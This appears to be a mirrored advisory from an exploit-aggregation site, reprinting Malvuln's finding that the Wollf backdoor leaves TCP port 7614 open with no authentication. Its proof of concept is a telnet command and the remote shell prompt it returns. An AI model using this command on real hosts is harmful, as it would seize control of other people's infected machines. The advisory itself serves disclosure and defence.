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Backdoor.Win32.Wollf.15 / Missing Authentication

CVE Category Price Severity
N/A CWE-364 Not available Critical
Author Risk Exploitation Type Date
Unknown High Remote 2021-02-12
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 0.8456 0.98776

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021020062

Below is a copy:

Backdoor.Win32.Wollf.15 / Missing Authentication
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/ffa917e74406b8b77252be2c4f71f6d3.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Wollf.15
Vulnerability: Missing Authentication
Description: Wollf backdoor creates a service named "wrm" and opens TCP port 7614, there is no authentication allowing anyone to take over the infected system.
Type: PE32
MD5: ffa917e74406b8b77252be2c4f71f6d3
Vuln ID: MVID-2021-0079
Dropped files: wrm.exe
Disclosure: 02/07/2021

Exploit/PoC:
TELNET x.x.x.x 7614

"Wollf Remote Manager" v1.5                                                                                        
Code by wollf, http://www.xfocus.org 
                                                                                                                                                                                                           
[DESKTOP-BLAHXO@C:\WINDOWS\system32]#

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